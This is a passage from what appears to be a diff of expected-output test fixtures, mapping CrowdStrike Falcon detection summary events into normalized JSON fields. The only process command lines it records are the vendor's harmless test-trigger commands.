"ip": [ + "10.128.0.24" + ], + "user": [ + "devuser" + ] + }, + "rule": { + "description": "Anexecutablewasrunwithacontradictingfileextension", + "name": "SuspiciousActivity" + }, + "source": { + "address": "10.128.0.24", + "ip": "10.128.0.24" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "devuser" + } + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "GrandparentCommandLine": "cmd crowdstrike_test_medium", + "GrandparentImageFileName": "cmd.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "Objective": "Falcon Detection Method", + "ParentCommandLine": "cmd crowdstrike_test_low", + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 0, + "PatternId": 10307, + "PlatformId": "0", + "PlatformName": "Windows", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 10, + "SeverityName": "Informational", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Falcon Overwatch", + "Technique": "Malicious Activity", + "Type": "ldt" + }, + "device": { + "id": "cff45d56127743a593792fb968dac907" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_informational\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760\",\"DataDomains\":\"Endpoint\",\"Description\":\"An informational level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd crowdstrike_test_medium\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"d53f596e5ea7117ac18aae9f9bd8a481\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_low\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43450917603,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10307,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43455859437,\"ProcessStartTime\":1752575381,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume4\\Windows\\System32", + "hash": { + "md5": "d53f596e5ea7117ac18aae9f9bd8a481", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682" + }, + "name": "cmd.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" + }, + "host": { + "domain": "dave-win10-3", + "hostname": "dave-win10-3", + "mac": [ + "BA-D0-00-BA-D0-00" + ], + "name": "dave-win10-3" + }, + "message": "An informational level detection was triggered on this process for testing purposes.", + "process": { + "command_line": "cmd crowdstrike_test_informational", + "end": "1970-01-01T00:00:00.000Z", + "entity_id": "43455859437", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "name": "cmd.exe", + "parent": { + "entity_id": "43450917603", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "name": "cmd.exe" + }, + "start": "2025-07-15T10:29:41.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682", + "d53f596e5ea7117ac18aae9f9bd8a481" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "description": "An informational level detection was triggered on this process for testing purposes.", + "name": "Suspicious Activity" + }, + "source": { + "address": "10.0.0.13", + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "GrandparentCommandLine": "cmd crowdstrike_test_high", + "GrandparentImageFileName": "cmd.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "Objective": "Falcon Detection Method", + "ParentCommandLine": "cmd crowdstrike_test_medium", + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 0, + "PatternId": 10306, + "PlatformId": "0", + "PlatformName": "Windows", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 30, + "SeverityName": "Low", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Falcon Overwatch", + "Technique": "Malicious Activity", + "Type": "ldt" + }, + "device": { + "id": "cff45d56127743a593792fb968dac907" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_low\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776\",\"DataDomains\":\"Endpoint\",\"Description\":\"A low level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd crowdstrike_test_high\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"86920ea0b350c9a3e3752a6aba6e1143\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_medium\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43448891811,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10306,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43450917603,\"ProcessStartTime\":1752575368,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume4\\Windows\\System32", + "hash": { + "md5": "86920ea0b350c9a3e3752a6aba6e1143", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" + }, + "name": "cmd.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" + }, + "host": { + "domain": "dave-win10-3", + "hostname": "dave-win10-3", + "mac": [ + "BA-D0-00-BA-D0-00" + ], + "name": "dave-win10-3" + }, + "message": "A low level detection was triggered on this process for testing purposes.", + "process": { + "command_line": "cmd crowdstrike_test_low", + "end": "1970-01-01T00:00:00.000Z", + "entity_id": "43450917603", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "name": "cmd.exe", + "parent": { + "entity_id": "43448891811", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "name": "cmd.exe" + }, + "start": "2025-07-15T10:29:28.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", + "86920ea0b350c9a3e3752a6aba6e1143" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "description": "A low level detection was triggered on this process for testing purposes.", + "name": "Suspicious Activity" + }, + "source": { + "address": "10.0.0.13", + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "GrandparentCommandLine": "cmd crowdstrike_test_critical", + "GrandparentImageFileName": "cmd.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "Objective": "Falcon Detection Method", + "ParentCommandLine": "cmd crowdstrike_test_high", + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 0, + "PatternId": 10305, + "PlatformId": "0", + "PlatformName": "Windows", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 50, + "SeverityName": "Medium", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Falcon Overwatch", + "Technique": "Malicious Activity", + "Type": "ldt" + }, + "device": { + "id": "cff45d56127743a593792fb968dac907" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_medium\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744\",\"DataDomains\":\"Endpoint\",\"Description\":\"A medium level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd crowdstrike_test_critical\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"645b4fecb42fb954858850fe127ceb98\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_high\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43447659975,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10305,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43448891811,\"ProcessStartTime\":1752575354,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "severity": 47, + "type": [ + "info" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume4\\Windows\\System32", + "hash": { + "md5": "645b4fecb42fb954858850fe127ceb98", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" + }, + "name": "cmd.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" + }, + "host": { + "domain": "dave-win10-3", + "hostname": "dave-win10-3", + "mac": [ + "BA-D0-00-BA-D0-00" + ], + "name": "dave-win10-3" + }, + "message": "A medium level detection was triggered on this process for testing purposes.", + "process": { + "command_line": "cmd crowdstrike_test_medium", + "end": "1970-01-01T00:00:00.000Z", + "entity_id": "43448891811", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "name": "cmd.exe", + "parent": { + "entity_id": "43447659975", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "name": "cmd.exe" + }, + "start": "2025-07-15T10:29:14.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", + "645b4fecb42fb954858850fe127ceb98" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "description": "A medium level detection was triggered on this process for testing purposes.", + "name": "Suspicious Activity" + }, + "source": { + "address": "10.0.0.13", + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "GrandparentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ", + "GrandparentImageFileName": "cmd.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "Objective": "Falcon Detection Method", + "ParentCommandLine": "cmd crowdstrike_test_critical", + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 0, + "PatternId": 10304, + "PlatformId": "0", + "PlatformName": "Windows", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 70, + "SeverityName": "High", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Falcon Overwatch", + "Technique": "Malicious Activity", + "Type": "ldt" + }, + "device": { + "id": "cff45d56127743a593792fb968dac907" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_high\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824\",\"DataDomains\":\"Endpoint\",\"Description\":\"A high level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"099d5a3c2f87817751337a9cf8d6a70b\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_critical\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43444774922,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10304,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43447659975,\"ProcessStartTime\":1752575345,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":70,\"SeverityName\":\"High\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "severity": 73, + "type": [ + "info" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume4\\Windows\\System32", + "hash": { + "md5": "099d5a3c2f87817751337a9cf8d6a70b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" + }, + "name": "cmd.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" + }, + "host": { + "domain": "dave-win10-3", + "hostname": "dave-win10-3", + "mac": [ + "BA-D0-00-BA-D0-00" + ], + "name": "dave-win10-3" + }, + "message": "A high level detection was triggered on this process for testing purposes.", + "process": { + "command_line": "cmd crowdstrike_test_high", + "end": "1970-01-01T00:00:00.000Z", + "entity_id": "43447659975", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "name": "cmd.exe", + "parent": { + "entity_id": "43444774922", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "name": "cmd.exe" + }, + "start": "2025-07-15T10:29:05.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", + "099d5a3c2f87817751337a9cf8d6a70b" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "description": "A high level detection was triggered on this process for testing purposes.", + "name": "Suspicious Activity" + }, + "source": { + "address": "10.0.0.13", + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE", + "GrandparentImageFileName": "explorer.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "Objective": "Falcon Detection Method", + "ParentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ", + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + 